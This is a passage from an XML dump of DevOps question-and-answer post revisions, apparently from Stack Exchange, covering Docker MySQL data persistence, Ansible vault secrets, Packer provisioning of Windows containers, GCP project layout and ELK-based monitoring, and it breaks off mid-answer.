  <row Id="10895" PostHistoryTypeId="2" PostId="3483" RevisionGUID="56cd1916-9436-476d-8506-799f5a572512" CreationDate="2018-02-28T08:58:17.900" UserId="707" Text="If I startup MySQL server during `docker build` in two differen statements, would be database files be pertained?&#xD;&#xA;&#xD;&#xA;I would say yes, but it seems to be wrong. Why?&#xD;&#xA;&#xD;&#xA;Logfile:&#xD;&#xA;&#xD;&#xA;    180228 08:54:50 mysqld_safe Logging to '/var/lib/mysql/c2712433a4da.err'.&#xD;&#xA;    180228 08:54:50 mysqld_safe Starting mysqld daemon with databases from /var/lib/mysql&#xD;&#xA;    mysql: [Warning] Using a password on the command line interface can be insecure.&#xD;&#xA;    mysql: [Warning] Using a password on the command line interface can be insecure.&#xD;&#xA;    Tables_in_FOOBAR&#xD;&#xA;    address&#xD;&#xA;    category&#xD;&#xA;    Removing intermediate container b3ff83bbf273&#xD;&#xA;     ---&gt; 0b366a0d31a9&#xD;&#xA;    Step 9/9 : RUN chmod 777 /var/lib/ -R &amp;&amp; ./ingest_data.sh &#xD;&#xA;     ---&gt; Running in 149361f7d465&#xD;&#xA;    180228 08:55:00 mysqld_safe Logging to '/var/lib/mysql/c2712433a4da.err'.&#xD;&#xA;    180228 08:55:00 mysqld_safe Starting mysqld daemon with databases from /var/lib/mysql&#xD;&#xA;    mysql: [Warning] Using a password on the command line interface can be insecure.&#xD;&#xA;    Database&#xD;&#xA;    information_schema&#xD;&#xA;    mysql: [Warning] Using a password on the command line interface can be insecure.&#xD;&#xA;    ERROR 1049 (42000): Unknown database 'FOOBAR'&#xD;&#xA;&#xD;&#xA;As you can see, in the first RUN statement I can list tables I have created in a new database, but in the second RUN statement the database is gone." ContentLicense="CC BY-SA 3.0" />
  <row Id="10896" PostHistoryTypeId="1" PostId="3483" RevisionGUID="56cd1916-9436-476d-8506-799f5a572512" CreationDate="2018-02-28T08:58:17.900" UserId="707" Text="MySQL in Docker" ContentLicense="CC BY-SA 3.0" />
  <row Id="10897" PostHistoryTypeId="3" PostId="3483" RevisionGUID="56cd1916-9436-476d-8506-799f5a572512" CreationDate="2018-02-28T08:58:17.900" UserId="707" Text="&lt;docker&gt;&lt;mysql&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10898" PostHistoryTypeId="2" PostId="3484" RevisionGUID="de9d20d2-90e4-4896-a815-a3bdf9773d1d" CreationDate="2018-02-28T09:22:39.377" UserId="6649" Text="As described in https://github.com/docker-library/tomcat/issues/35, this is related to the storage driver used (aufs).  Changing to use overlay2 solved the issue:&#xD;&#xA;&#xD;&#xA;https://docs.docker.com/storage/storagedriver/overlayfs-driver/" ContentLicense="CC BY-SA 3.0" />
  <row Id="10899" PostHistoryTypeId="5" PostId="3472" RevisionGUID="b18de3c8-5a3d-49c4-bec7-842ca1ee55d0" CreationDate="2018-02-28T09:59:47.403" UserId="5922" Comment="fixed ansible syntax in example" Text="&gt; The idea is to put all our sensitive data [...]&#xD;&#xA;&#xD;&#xA;The meaning of &quot;all&quot; in this sentence should be analyzed very carefully before implementing the solution that you plan.&#xD;&#xA;&#xD;&#xA;Ansible vault is a very useful tool, but it should be used only to store secrets that are:&#xD;&#xA;&#xD;&#xA; 1. Specifically needed for the ansible deployments&#xD;&#xA; 2. Easily made useless to owners that should become unaware of them, but that may illegitimately &quot;remember&quot; them (typically off-boarded employees)&#xD;&#xA;&#xD;&#xA;The second point is critical.&#xD;&#xA;&#xD;&#xA;Many people, and potentially the whole DevOps team, will have access to the ansible vault password and therefore all the secrets.&#xD;&#xA;&#xD;&#xA;Therefore, for all the secrets stored in the vault, a condition should hold for which a person or machine with **unauthorized** access to them should be incapable of making any use of them if so is desired.&#xD;&#xA;&#xD;&#xA;In concrete terms, if you use ansible to deploy a database and its users, you can store the passwords in the vault, but you will have to be very careful (and most likely consider another solution) if that service will be available from the Internet and without the need for any VPN authentication!&#xD;&#xA;&#xD;&#xA;Users (DevOps) exposed to the secret, should be incapable of using &quot;remembered&quot; passwords if one security barrier is imposed on them (e.g., VPN access revoked). In addition to this, access to the source code repository (where the vault is stored) should be revoked as well before passwords are changed.&#xD;&#xA;&#xD;&#xA;Under these conditions, ansible vault is a very useful tool.&#xD;&#xA;&#xD;&#xA;Trying to store a secret that could be used by any person or machine on the Internet in the vault would be instead a mistake (e.g., VPN credentials of users).&#xD;&#xA;&#xD;&#xA;&gt; Is there any other options, which is the best (and secure) way to store ansible-vault password&#xD;&#xA;&#xD;&#xA;Under the conditions from the previous paragraph, I think that a good practice would be:&#xD;&#xA;&#xD;&#xA; 1. Store the vault password in an external secure vault (something like [Vault from HashiCorp][1] or any SaaS for credentials management)&#xD;&#xA; 2. Allow access to the external vault item to DevOps (they will need the password for testing) and the CI/CD system or ansible controller&#xD;&#xA; 3. Keep a **convention to use secrets**! You will not be able to review changes to the secrets and you will not be able to grep for ansible variables in secrets files! So be thorough since the beginning. A good convention is to name all variables stored in the ansible vault with a `secret_` prefix. When you will see something like:&#xD;&#xA;&#xD;&#xA;    postgres.yml:&#xD;&#xA;&#xD;&#xA;        postgres_password: &quot;{{ secret_postgres_password }}&quot;&#xD;&#xA;&#xD;&#xA;  you will know that the value is stored in the ansible vault.&#xD;&#xA;&#xD;&#xA;  [1]: https://www.vaultproject.io/" ContentLicense="CC BY-SA 3.0" />
  <row Id="10900" PostHistoryTypeId="2" PostId="3485" RevisionGUID="0f9e035e-813d-49de-8bb4-c36fa0067584" CreationDate="2018-02-28T10:17:57.243" UserId="6716" Text="I just wanted to point to you that there are solutions out there to benefit from HSM aaS dedicated. We are piloting this at Interxion (colocation provider Europe) : https://www.interxion.com/products/key-guardian/&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10901" PostHistoryTypeId="5" PostId="3483" RevisionGUID="304c16bc-2cf0-40f8-a759-744d38161123" CreationDate="2018-02-28T10:38:39.057" UserId="707" Comment="added 1 character in body" Text="If I startup MySQL server during `docker build` (derived from official MySQL Dokcer Image) in two different statements, would be database files be pertained?&#xD;&#xA;&#xD;&#xA;I would say yes, but it seems to be wrong. Why?&#xD;&#xA;&#xD;&#xA;Logfile:&#xD;&#xA;&#xD;&#xA;    180228 08:54:50 mysqld_safe Logging to '/var/lib/mysql/c2712433a4da.err'.&#xD;&#xA;    180228 08:54:50 mysqld_safe Starting mysqld daemon with databases from /var/lib/mysql&#xD;&#xA;    mysql: [Warning] Using a password on the command line interface can be insecure.&#xD;&#xA;    mysql: [Warning] Using a password on the command line interface can be insecure.&#xD;&#xA;    Tables_in_FOOBAR&#xD;&#xA;    address&#xD;&#xA;    category&#xD;&#xA;    Removing intermediate container b3ff83bbf273&#xD;&#xA;     ---&gt; 0b366a0d31a9&#xD;&#xA;    Step 9/9 : RUN chmod 777 /var/lib/ -R &amp;&amp; ./ingest_data.sh &#xD;&#xA;     ---&gt; Running in 149361f7d465&#xD;&#xA;    180228 08:55:00 mysqld_safe Logging to '/var/lib/mysql/c2712433a4da.err'.&#xD;&#xA;    180228 08:55:00 mysqld_safe Starting mysqld daemon with databases from /var/lib/mysql&#xD;&#xA;    mysql: [Warning] Using a password on the command line interface can be insecure.&#xD;&#xA;    Database&#xD;&#xA;    information_schema&#xD;&#xA;    mysql: [Warning] Using a password on the command line interface can be insecure.&#xD;&#xA;    ERROR 1049 (42000): Unknown database 'FOOBAR'&#xD;&#xA;&#xD;&#xA;As you can see, in the first RUN statement I can list tables I have created in a new database, but in the second RUN statement the database is gone." ContentLicense="CC BY-SA 3.0" />
  <row Id="10902" PostHistoryTypeId="5" PostId="3483" RevisionGUID="9eb2b82a-04fb-41d5-82a9-02a4ba4ddc46" CreationDate="2018-02-28T12:01:43.150" UserId="707" Comment="added 179 characters in body; edited title" Text="If I startup MySQL server during `docker build` (derived from official MySQL Dokcer Image) in two different statements, would be database files be pertained?&#xD;&#xA;&#xD;&#xA;I would say yes, but it seems to be wrong. Why?&#xD;&#xA;&#xD;&#xA;Logfile:&#xD;&#xA;&#xD;&#xA;    180228 08:54:50 mysqld_safe Logging to '/var/lib/mysql/c2712433a4da.err'.&#xD;&#xA;    180228 08:54:50 mysqld_safe Starting mysqld daemon with databases from /var/lib/mysql&#xD;&#xA;    mysql: [Warning] Using a password on the command line interface can be insecure.&#xD;&#xA;    mysql: [Warning] Using a password on the command line interface can be insecure.&#xD;&#xA;    Tables_in_FOOBAR&#xD;&#xA;    address&#xD;&#xA;    category&#xD;&#xA;    Removing intermediate container b3ff83bbf273&#xD;&#xA;     ---&gt; 0b366a0d31a9&#xD;&#xA;    Step 9/9 : RUN chmod 777 /var/lib/ -R &amp;&amp; ./ingest_data.sh &#xD;&#xA;     ---&gt; Running in 149361f7d465&#xD;&#xA;    180228 08:55:00 mysqld_safe Logging to '/var/lib/mysql/c2712433a4da.err'.&#xD;&#xA;    180228 08:55:00 mysqld_safe Starting mysqld daemon with databases from /var/lib/mysql&#xD;&#xA;    mysql: [Warning] Using a password on the command line interface can be insecure.&#xD;&#xA;    Database&#xD;&#xA;    information_schema&#xD;&#xA;    mysql: [Warning] Using a password on the command line interface can be insecure.&#xD;&#xA;    ERROR 1049 (42000): Unknown database 'FOOBAR'&#xD;&#xA;&#xD;&#xA;As you can see, in the first RUN statement I can list tables I have created in a new database, but in the second RUN statement the database is gone.&#xD;&#xA;&#xD;&#xA;Note. Normally, you would not transport your application data in production containers (immutability principle) but for demo and test purposes this can be nevertheless useful." ContentLicense="CC BY-SA 3.0" />
  <row Id="10903" PostHistoryTypeId="4" PostId="3483" RevisionGUID="9eb2b82a-04fb-41d5-82a9-02a4ba4ddc46" CreationDate="2018-02-28T12:01:43.150" UserId="707" Comment="added 179 characters in body; edited title" Text="Persistent data in MySQL with Docker" ContentLicense="CC BY-SA 3.0" />
  <row Id="10904" PostHistoryTypeId="2" PostId="3486" RevisionGUID="264a5f1d-1fd0-4cce-b9b7-3e8a8b6ae681" CreationDate="2018-02-28T13:37:56.083" UserId="800" Text="That's a known issue .. since image layers are built using containers, data saved to folders does not make it to the next layer or your final container&#xD;&#xA;&#xD;&#xA;    Removing intermediate container b3ff83bbf273&#xD;&#xA;&#xD;&#xA;If you want data to persist between updated containers you have to manually map data to the host outside the container-specific mount points.&#xD;&#xA;&#xD;&#xA;For example, when creating a container use the -v option to map a volume:&#xD;&#xA;&#xD;&#xA;    docker run -d -v /var/container_data/mysql:/var/lib/mysql mysql_image&#xD;&#xA;&#xD;&#xA;For a detailed documentation &#xD;&#xA;https://docs.docker.com/engine/reference/run/#volume-shared-filesystems" ContentLicense="CC BY-SA 3.0" />
  <row Id="10905" PostHistoryTypeId="2" PostId="3487" RevisionGUID="502a963e-9c41-4336-8677-ef9c5c9672eb" CreationDate="2018-02-28T14:28:20.437" UserId="800" Text=" It seems that there is some [bug](https://github.com/hashicorp/packer/issues/5885) in Hashicorps Packer 1.2.0, consider downgrading or upgrading to v1.2.1, comments in GH issue page confirm that the deployed fix is working.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10906" PostHistoryTypeId="2" PostId="3488" RevisionGUID="cede28bb-361c-421a-a6c8-a27cd7289ab6" CreationDate="2018-02-28T16:11:26.313" UserId="2494" Text="I want to provision a Windows Docker container with Ansible, but I am confused about how exactly it will work.&#xD;&#xA;&#xD;&#xA;For instance if I use Packer with Linux, I know I can run `ansible` (which is ansible remote) and `ansible-local`. I have to build my Windows Docker containers from a Windows computer and the Windows computer cannot be an Ansible master at this point.&#xD;&#xA;&#xD;&#xA;Does any tool, possibly Packer for Windows handle things automatically and spin up a Linux Ansible Master VM to run the playbooks automatically?&#xD;&#xA;&#xD;&#xA;How can I easily provision Windows containers with Ansible as part of my image build process?&#xD;&#xA;&#xD;&#xA;I am currently using Windows 10 Enterprise and Windows Server 2016 is on the horizon." ContentLicense="CC BY-SA 3.0" />
  <row Id="10907" PostHistoryTypeId="1" PostId="3488" RevisionGUID="cede28bb-361c-421a-a6c8-a27cd7289ab6" CreationDate="2018-02-28T16:11:26.313" UserId="2494" Text="How do I provision a Windows Docker container with Ansible?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10908" PostHistoryTypeId="3" PostId="3488" RevisionGUID="cede28bb-361c-421a-a6c8-a27cd7289ab6" CreationDate="2018-02-28T16:11:26.313" UserId="2494" Text="&lt;docker&gt;&lt;ansible&gt;&lt;windows&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10909" PostHistoryTypeId="2" PostId="3489" RevisionGUID="2cbcd268-182d-4acd-86ff-670c4b28339f" CreationDate="2018-02-28T16:49:36.013" UserId="4289" Text="I've always had issues with using `ansible` to provision Windows machines with Packer due to the `winrm` connections breaking, [example issue](https://github.com/hashicorp/packer/issues/4904).&#xD;&#xA;&#xD;&#xA;A workaround which you can do is to use the `shell-local` on your host machine which calls the Ansible playbook with the new host (although you would need to give it the IP address of your Windows Docker machine).&#xD;&#xA;&#xD;&#xA;I've added the example which I did to get a test working. This uploads `ip.cmd` to the Windows virtual machine, which gets its IP address, and is then downloaded back to the `destination`. The ansible playbook is then called against that.&#xD;&#xA;&#xD;&#xA;    &quot;provisioners&quot;: [&#xD;&#xA;    		{&#xD;&#xA;    			&quot;type&quot;: &quot;file&quot;,&#xD;&#xA;    			&quot;source&quot;: &quot;ip.cmd&quot;,&#xD;&#xA;    			&quot;destination&quot;: &quot;C:/tmp/ip.cmd&quot;&#xD;&#xA;    		},&#xD;&#xA;    		{&#xD;&#xA;    			&quot;type&quot;: &quot;windows-shell&quot;,&#xD;&#xA;    			&quot;inline&quot;: [&#xD;&#xA;    				&quot;echo [{{ user `ansible_group` }}] &gt; C:/tmp/hosts&quot;,&#xD;&#xA;    				&quot;C:/tmp/ip.cmd&quot;&#xD;&#xA;    			]&#xD;&#xA;    		},&#xD;&#xA;    		{&#xD;&#xA;    			&quot;type&quot;: &quot;file&quot;,&#xD;&#xA;    			&quot;direction&quot;: &quot;download&quot;,&#xD;&#xA;    			&quot;source&quot;: &quot;C:/tmp/hosts&quot;,&#xD;&#xA;    			&quot;destination&quot;: &quot;./ansible/hosts&quot;&#xD;&#xA;    		},&#xD;&#xA;    		{&#xD;&#xA;    			&quot;type&quot;: &quot;shell-local&quot;,&#xD;&#xA;    			&quot;command&quot;: &quot;ANSIBLE_CONFIG=./ansible.cfg ansible-playbook -v -i ./ansible/hosts -l \&quot;{{ user `ansible_group` }}\&quot; -e \&quot;ansible_user={{ user `username` }} ansible_password={{ user `password` }} ansible_become_pass={{ user `password` }} ansible_port=5986 ansible_connection=winrm ansible_winrm_server_cert_validation=ignore \&quot; ./ansible/site.yml&quot;&#xD;&#xA;    		}&#xD;&#xA;    &#xD;&#xA;where `ip.cmd` gets the IP address of the Windows host:&#xD;&#xA;    &#xD;&#xA;    @echo off&#xD;&#xA;    FOR /F &quot;tokens=2,3&quot; %%A IN ('ping %computername% -n 1 -4') DO IF &quot;from&quot;== &quot;%%A&quot; set &quot;IP=%%~B&quot;&#xD;&#xA;    echo %IP:~0,-1% &gt;&gt; C:/tmp/hosts&#xD;&#xA;&#xD;&#xA;[source](https://groups.google.com/forum/#!starred/packer-tool/AXZSY6UoBNo)" ContentLicense="CC BY-SA 3.0" />
  <row Id="10910" PostHistoryTypeId="2" PostId="3490" RevisionGUID="0bacb200-701c-4835-b812-e8b3b1a3559b" CreationDate="2018-02-28T17:53:39.997" UserId="6725" Text="I have recently inherited the previous director of devops duties in managing a transition from Heroku/AWS to GCP. I'm wondering what is best practice for organizing projects in GCP.&#xD;&#xA;&#xD;&#xA;Should the be organized by production, staging, and QA environments? Should they be organized by each individual self contained front-end project or middleware project? If so, where do databases live in that function? The middleware project?&#xD;&#xA;&#xD;&#xA;You can see how many core questions can lead to adjacent questions.. does anyone have best practices here about how they organize their GCP projects in the enterprise?&#xD;&#xA;&#xD;&#xA;Corollary question: how does your project organization affect cost or inter-networking?&#xD;&#xA;&#xD;&#xA;Thanks!" ContentLicense="CC BY-SA 3.0" />
  <row Id="10911" PostHistoryTypeId="1" PostId="3490" RevisionGUID="0bacb200-701c-4835-b812-e8b3b1a3559b" CreationDate="2018-02-28T17:53:39.997" UserId="6725" Text="How should GCP projects be organized?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10912" PostHistoryTypeId="3" PostId="3490" RevisionGUID="0bacb200-701c-4835-b812-e8b3b1a3559b" CreationDate="2018-02-28T17:53:39.997" UserId="6725" Text="&lt;architecture&gt;&lt;gcp&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10913" PostHistoryTypeId="2" PostId="3491" RevisionGUID="a243c898-091b-4ced-bb4f-0a8aae1a3d5b" CreationDate="2018-02-28T18:16:56.670" UserId="47" Text="Speaking primarily from the Google App Engine (GAE) perspective.&#xD;&#xA;&#xD;&#xA;My preference is for environment-driven project split. This might be of interest: [Advantages of implementing CI/CD environments at GAE project/app level vs service/module level?][1]&#xD;&#xA;&#xD;&#xA;I wouldn't go for architecturally-driven project split unless there are serious reasons for doing so (if you feel you have such reasons you should ask with details):&#xD;&#xA;&#xD;&#xA;- probably difficult (if not impossible) to avoid inter-project bandwidth charges&#xD;&#xA;- added configuration complexity for inter-operation between projects (GCP pretty much considers them completely isolated/standalone, except maybe for shared IAM permissions). Possibly relevant: [Google app engine access cross project resources][2]&#xD;&#xA;&#xD;&#xA;Depending on the GCP products used there may be sufficient support for architectural splits inside the same project. At least GAE does IMHO.&#xD;&#xA;&#xD;&#xA;My GAE apps are all standalone and do not use inter-networking at all, so no costs from this prospective. There are still networking (bandwidth) costs for accessing various GCP-provided infra/services, but those are irellevant/unavoidable from the project split perspective.&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/questions/43218971/advantages-of-implementing-ci-cd-environments-at-gae-project-app-level-vs-servic&#xD;&#xA;  [2]: https://stackoverflow.com/questions/48962493/google-app-engine-access-cross-project-resources" ContentLicense="CC BY-SA 3.0" />
  <row Id="10914" PostHistoryTypeId="50" PostId="1262" RevisionGUID="903006ec-3320-494d-8b63-4fdf632700d9" CreationDate="2018-02-28T18:20:13.553" UserId="-1" />
  <row Id="10915" PostHistoryTypeId="50" PostId="2049" RevisionGUID="e38d706e-ab4a-4afa-a52c-2b561488b6d1" CreationDate="2018-02-28T19:20:13.283" UserId="-1" />
  <row Id="10916" PostHistoryTypeId="2" PostId="3492" RevisionGUID="82ff9d2c-717c-4834-93c6-4e83aecb8f4d" CreationDate="2018-02-28T19:44:21.057" UserId="47" Text="FWIW, the trigger you referenced originates from Gitlab repository events, not from a GitlabCI execution.&#xD;&#xA;&#xD;&#xA;The only possibility (that crosses my mind) of triggering a jenkins job from inside a GitlabCI execution is by having a (custom?) [script][1] invoked as part of the GitlabCI execution which remotely activates a [Parameterized Trigger Plugin][2] configured for your jenkins job, via a properly-crafted POST request which would include the desired parameters.&#xD;&#xA;&#xD;&#xA;See also https://stackoverflow.com/questions/20359810/how-to-trigger-jenkins-builds-remotely-and-to-pass-parameters.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.gitlab.com/ce/ci/yaml/README.html#script&#xD;&#xA;  [2]: https://wiki.jenkins.io/display/JENKINS/Parameterized+Trigger+Plugin" ContentLicense="CC BY-SA 3.0" />
  <row Id="10921" PostHistoryTypeId="2" PostId="3494" RevisionGUID="8a7ecf6c-3262-4428-ac29-00d23f4000e2" CreationDate="2018-03-01T10:05:40.160" UserId="162" Text="Since we already have filebeat, metricbeat and heartbeat configured and running.&#xD;&#xA;&#xD;&#xA;I wonder if people have successfully implemented the ELK stack for actual monitoring with alerting/notifications instead of using traditional software as&#xD;&#xA;&#xD;&#xA;- Nagios&#xD;&#xA;- Icinga&#xD;&#xA;- Zabbix&#xD;&#xA;&#xD;&#xA;Especially since ElasticSearch now has had watchers and alerting for a while." ContentLicense="CC BY-SA 3.0" />
  <row Id="10922" PostHistoryTypeId="1" PostId="3494" RevisionGUID="8a7ecf6c-3262-4428-ac29-00d23f4000e2" CreationDate="2018-03-01T10:05:40.160" UserId="162" Text="How good are heartbeat, elasticsearch and kibana as a monitoring/alerting solution as a replacement for Nagios?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10923" PostHistoryTypeId="3" PostId="3494" RevisionGUID="8a7ecf6c-3262-4428-ac29-00d23f4000e2" CreationDate="2018-03-01T10:05:40.160" UserId="162" Text="&lt;elastic&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10930" PostHistoryTypeId="50" PostId="1622" RevisionGUID="d41cb5c2-5886-4664-9858-9dc807c31ef1" CreationDate="2018-03-01T14:21:01.887" UserId="-1" />
  <row Id="10934" PostHistoryTypeId="2" PostId="3498" RevisionGUID="0c5de007-1660-41a9-905c-14c035210d75" CreationDate="2018-03-01T15:14:40.513" UserId="271" Text="My understanding of Ansible roles is that they are the unit of reusability when implementing processes using Ansible, similarly to what a class or a package is in some computer languages.&#xD;&#xA;&#xD;&#xA;It therefore seems natural to use roles to make all tasks understanding a given data structure in a specific role, but this yields the question of how to select the actual tasks to perform?  Is it a good design to use the `main.yml` file in the task as an entrypoint to select actual tasks according to role parameters?&#xD;&#xA;&#xD;&#xA;For instance a `framework` role could feature:&#xD;&#xA;&#xD;&#xA;- a `defaults/main.yml` file that understands the `framework` variable that could be define by a vars file shared by all playbooks in a project like&#xD;&#xA;&#xD;&#xA;    framework:&#xD;&#xA;      java: [tomcat, mysql]&#xD;&#xA;      php: yes&#xD;&#xA;&#xD;&#xA;so that after processing the `defaults/main.yml` file the following variables:&#xD;&#xA;&#xD;&#xA;    framework__enable_java_core: yes&#xD;&#xA;    framework__enable_java_tomcat: yes&#xD;&#xA;    framework__enable_java_mysql: yes&#xD;&#xA;    framework__enable_php_core: yes&#xD;&#xA;&#xD;&#xA;are defined and can be used by the role to actually know which tasks to perform.&#xD;&#xA;&#xD;&#xA;- several tasks like `java.yml`, `php.yml` pro framework, which select actions to perform according to a `when: action == 'WHATEVER-ACTION` is to perform; the `main.yml` then leek all the corresponding tasks.&#xD;&#xA;&#xD;&#xA;- playbooks that say&#xD;&#xA;&#xD;&#xA;for instance&#xD;&#xA;&#xD;&#xA;    roles:&#xD;&#xA;    - { role: framework, action: apt-setup }&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    roles:&#xD;&#xA;    - { role: framework, action: install }&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    roles:&#xD;&#xA;    - { role: framework, action: uninstall }&#xD;&#xA;&#xD;&#xA;This kind of approaches turns out to [scale very well when working with Makefiles](https://github.com/michipili/bsdowl).  It is therefore tempting to use it again when writing complex ansible systems.  On the one hand, it seems to fit quite naturally in the language used by ansible. On the other hand, it generates quite a payload of “skipped” tasks in ansible logs, which raises a red sign to me.&#xD;&#xA;&#xD;&#xA;Is the approach I describe a sensible way to group data structures with the processes using it? (That is, to implement reutilisation!)  If not, what would be a better way?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10935" PostHistoryTypeId="1" PostId="3498" RevisionGUID="0c5de007-1660-41a9-905c-14c035210d75" CreationDate="2018-03-01T15:14:40.513" UserId="271" Text="In ansible how to select specific tasks in a role according to the playbook or a more general parameter?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10936" PostHistoryTypeId="3" PostId="3498" RevisionGUID="0c5de007-1660-41a9-905c-14c035210d75" CreationDate="2018-03-01T15:14:40.513" UserId="271" Text="&lt;ansible&gt;&lt;architecture&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10937" PostHistoryTypeId="2" PostId="3499" RevisionGUID="222b6529-8b51-4368-b555-dd0fabd30b2f" CreationDate="2018-03-01T15:45:39.180" UserId="3509" Text="Different approaches can be useful for different setups. You can use _tags_ in some cases, or _conditional includes_ (as you describe) in other cases.&#xD;&#xA;&#xD;&#xA;&gt; On the other hand, it generates quite a payload of “skipped” tasks in ansible logs, which raises a red sign to me.&#xD;&#xA;&#xD;&#xA;You should get familiar with [difference between static and dynamic includes][1] in Ansible.&#xD;&#xA;&#xD;&#xA;So if you use static includes, you will get a lot of skipped tasks, because every task in every file is added to execution queue but most of them are skipped because of `when` statement.&#xD;&#xA;&#xD;&#xA;`tasks/main.yml` of your role with actions `install`/`uninstall`:&#xD;&#xA;&#xD;&#xA;    - include: install.yml&#xD;&#xA;      when: action == 'install'&#xD;&#xA;    - include: uninstall.yml&#xD;&#xA;      when: action == 'uninstall'&#xD;&#xA;&#xD;&#xA;But if you use dynamic includes, only required tasks are added to execution queue and `skipped` message is displayed for skipped includes.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;`tasks/main.yml`:&#xD;&#xA;&#xD;&#xA;    - include_tasks: install.yml&#xD;&#xA;      when: action == 'install'&#xD;&#xA;    - include_tasks: uninstall.yml&#xD;&#xA;      when: action == 'uninstall'&#xD;&#xA;&#xD;&#xA;More on that, you can avoid `skipped` message altogether like this:&#xD;&#xA;&#xD;&#xA;`tasks/main.yml`:&#xD;&#xA;&#xD;&#xA;    - include_tasks: '{{ action }}.yml'&#xD;&#xA;&#xD;&#xA;The drawback of dynamic includes is that you can't do complete static analysis of your playbook (like syntax checks, etc.) because many things are know only in runtime.&#xD;&#xA;&#xD;&#xA;  [1]: https://serverfault.com/questions/875247/whats-the-difference-between-include-tasks-and-import-tasks&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10938" PostHistoryTypeId="50" PostId="3177" RevisionGUID="3fa8e907-f478-4d5f-add9-664f62207b78" CreationDate="2018-03-01T17:21:08.263" UserId="-1" />
  <row Id="10939" PostHistoryTypeId="2" PostId="3500" RevisionGUID="4138a758-2003-4fa8-be40-e70adc6c5df9" CreationDate="2018-03-01T18:02:55.050" UserId="6737" Text="I have set up some crons in ansible, and I want to log when they start, finish, and if they fail.&#xA;&#xA;How I could do it?&#xA;I don’t know so much about ansible.&#xA;&#xA;Regards." ContentLicense="CC BY-SA 3.0" />
  <row Id="10940" PostHistoryTypeId="1" PostId="3500" RevisionGUID="4138a758-2003-4fa8-be40-e70adc6c5df9" CreationDate="2018-03-01T18:02:55.050" UserId="6737" Text="Logging ansible crons in kibana" ContentLicense="CC BY-SA 3.0" />
  <row Id="10941" PostHistoryTypeId="3" PostId="3500" RevisionGUID="4138a758-2003-4fa8-be40-e70adc6c5df9" CreationDate="2018-03-01T18:02:55.050" UserId="6737" Text="&lt;ansible&gt;&lt;elastic&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10942" PostHistoryTypeId="2" PostId="3501" RevisionGUID="4a9c5f3c-e5c2-4435-b07c-707c489a2c21" CreationDate="2018-03-01T18:13:04.090" UserId="2494" Text="How do I run Windows containers on Minikube?&#xD;&#xA;&#xD;&#xA;Is it possible?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10943" PostHistoryTypeId="1" PostId="3501" RevisionGUID="4a9c5f3c-e5c2-4435-b07c-707c489a2c21" CreationDate="2018-03-01T18:13:04.090" UserId="2494" Text="Minikube - Is there a way to run Windows Containers?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10944" PostHistoryTypeId="3" PostId="3501" RevisionGUID="4a9c5f3c-e5c2-4435-b07c-707c489a2c21" CreationDate="2018-03-01T18:13:04.090" UserId="2494" Text="&lt;containers&gt;&lt;windows&gt;&lt;minikube&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10945" PostHistoryTypeId="2" PostId="3502" RevisionGUID="495c3c78-54af-4a9f-9483-c70555e93382" CreationDate="2018-03-01T18:27:58.393" UserId="6738" Text="I don't think there is anything to do with ansible after you add cron. How about writing log of cron on file or send it by otherway maybe through el and view on kibana? " ContentLicense="CC BY-SA 3.0" />
  <row Id="10946" PostHistoryTypeId="2" PostId="3503" RevisionGUID="db5afcad-d53a-47a7-9da1-23690b1a37e6" CreationDate="2018-03-01T18:31:23.070" UserId="6738" Text="My experience is, if there is insufficient resource, it just throws error saying to choose another region but have never taken more than 5min to live cluster. " ContentLicense="CC BY-SA 3.0" />
  <row Id="10947" PostHistoryTypeId="2" PostId="3504" RevisionGUID="98363548-6e76-4672-bab7-54ba0ec224ac" CreationDate="2018-03-01T18:33:58.570" UserId="6738" Text="We have two projects: production and staging. Later runs dev, qa also. And for billing purpose, we tag resources accordingly. " ContentLicense="CC BY-SA 3.0" />
  <row Id="10948" PostHistoryTypeId="2" PostId="3505" RevisionGUID="3a6e6a17-f633-411d-83f0-684cd1c25faa" CreationDate="2018-03-01T19:06:24.053" UserId="3509" Text="Ansible is an automation tool, so it can automate things you can do by hands.&#xD;&#xA;&#xD;&#xA;But as far as I know no existing cron-like services support sending logs to elasticsearch (Kibana is just a viewer, btw) out of the box.&#xD;&#xA;&#xD;&#xA;So at first, you should create some wrapper script that will execute your actual job and send it's result to elasticsearch.&#xD;&#xA;&#xD;&#xA;An then schedule this wrapper script via Ansible.&#xD;&#xA;&#xD;&#xA;Or choose another route, setup syslog forwarding to logstash/elasticsearch on your target box to collect all logs, then just filter your desired cron jobs." ContentLicense="CC BY-SA 3.0" />
  <row Id="10949" PostHistoryTypeId="2" PostId="3506" RevisionGUID="42328033-f1dd-4067-be19-999e459ed161" CreationDate="2018-03-01T19:08:06.460" UserId="6703" Text="I would suggest checking out ansible callback plugins - they are python modules that implement callback functions that ansible will call during playbook execution. In fact, the messages ansible-playbook logs to your terminal is actually implemented as a callback plugin.&#xD;&#xA;&#xD;&#xA;I have written callback plugins for logging to elasticsearch, influxdb, redis - they are quite powerful for hooking the results of your ansible runs up to other tools. Unfortunately I can not share them here as they were implemented during my day job.&#xD;&#xA;&#xD;&#xA;Here are the callback plugins bundled with ansible by default: https://github.com/ansible/ansible/tree/devel/lib/ansible/plugins/callback - it's possible you may be able to use one of them to send results to logstash, which would feed them into Elasticsearch for viewing with 